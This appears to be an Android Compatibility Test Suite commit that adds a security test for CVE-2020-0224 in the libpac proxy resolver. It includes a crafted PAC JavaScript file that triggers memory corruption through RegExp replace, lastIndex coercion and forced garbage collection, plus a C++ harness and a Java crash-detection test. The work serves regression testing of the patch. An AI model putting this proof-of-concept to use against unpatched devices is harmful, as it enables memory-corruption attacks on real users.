[RESTRICT AUTOMERGE] CTS test for Android Security b/147664838

Bug: 147664838
Bug: 156280923
Test: Ran the new testcase on android-8.1.0_r1 to test with/without patch

Change-Id: I09c70b046f5deb03efebbf068797294a0fbf99bc
(cherry picked from commit d0d92dfaecd8c0850198397eb40e70cb18031685)
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0224.pac b/hostsidetests/securitybulletin/res/cve_2020_0224.pac
new file mode 100644
index 0000000..7fd7c15
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0224.pac
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host) {
+    for (let i = 0; i < 0x10; i++) {
+        go();
+    }
+    return "DIRECT";
+}
+
+function go() {
+    function gc() {
+        for (let i = 0; i < 0x10; i++) {
+            new ArrayBuffer(0x800000);
+        }
+    }
+
+    function to_dict(obj) {
+        obj.__defineGetter__('x', () => 2);
+        obj.__defineGetter__('x', () => 2);
+    }
+
+    var rgx = null;
+    var o = {};
+    o.__defineGetter__("length", () => {
+        rgx = new RegExp(/AAAAAAAA/y);
+        return 2;
+    });
+    o[0] = "aaaa";
+    o.__defineGetter__(1, () => {
+
+        let cnt = 0;
+        rgx[Symbol.replace]("AAAAAAAA", {
+            toString: () => {
+                cnt++;
+                if (cnt == 2) {
+                    rgx.lastIndex = {
+                        valueOf: () => {
+                            to_dict(rgx);
+                            gc();
+                            return 0;
+                        }
+                    };
+                }
+                return 'BBBB$';
+            }
+        });
+        return "bbbb";
+    });
+    var p = new Proxy({}, {
+        ownKeys: function (target) {
+            return o;
+        },
+        getOwnPropertyDescriptor(target, prop) {
+            return { configurable: true, enumerable: true, value: 5 };
+        }
+    });
+
+    Object.keys(p);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.mk
new file mode 100644
index 0000000..76f1ea0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0224
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/chromium-libpac/src/
+LOCAL_SHARED_LIBRARIES := libpac
+LOCAL_SHARED_LIBRARIES += libutils
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
new file mode 100644
index 0000000..c51b532d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_v8.h>
+#include <fstream>
+#include "../includes/common.h"
+
+android::String16 url("");
+android::String16 host("");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+    virtual void AlertMessage(android::String16 alert __attribute__((unused))) {
+    }
+    virtual void ErrorMessage(android::String16 error __attribute__((unused))) {
+    }
+};
+
+void poc(char* raw) {
+    android::String16 script(raw);
+    net::ProxyResolverJSBindings *bindings =
+            net::ProxyResolverJSBindings::CreateDefault();
+    MyErrorListener errorListener;
+    net::ProxyResolverV8 resolver(bindings, &errorListener);
+    android::String16 results;
+    resolver.SetPacScript(script);
+    resolver.GetProxyForURL(url, host, &results);
+}
+
+int main(int argc, char *argv[]) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    std::ifstream stream;
+    stream.open(argv[1]);
+    if (stream.rdstate() != std::ifstream::goodbit) {
+        return EXIT_FAILURE;
+    }
+
+    stream.seekg(0, std::ios::end);
+    size_t size = stream.tellg();
+    char* raw = (char*) calloc(size + 1, sizeof(char));
+    stream.seekg(0);
+    stream.read(raw, size);
+
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        poc(raw);
+    }
+    free(raw);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
new file mode 100644
index 0000000..b02eeea
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.Arrays;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0224 extends SecurityTestCase {
+
+    /**
+     * b/147664838
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-07")
+    @Test
+    public void testPocCVE_2020_0224() throws Exception {
+        String inputFiles[] = {"cve_2020_0224.pac"};
+        String binaryName = "CVE-2020-0224";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.config.checkMinAddress(false);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}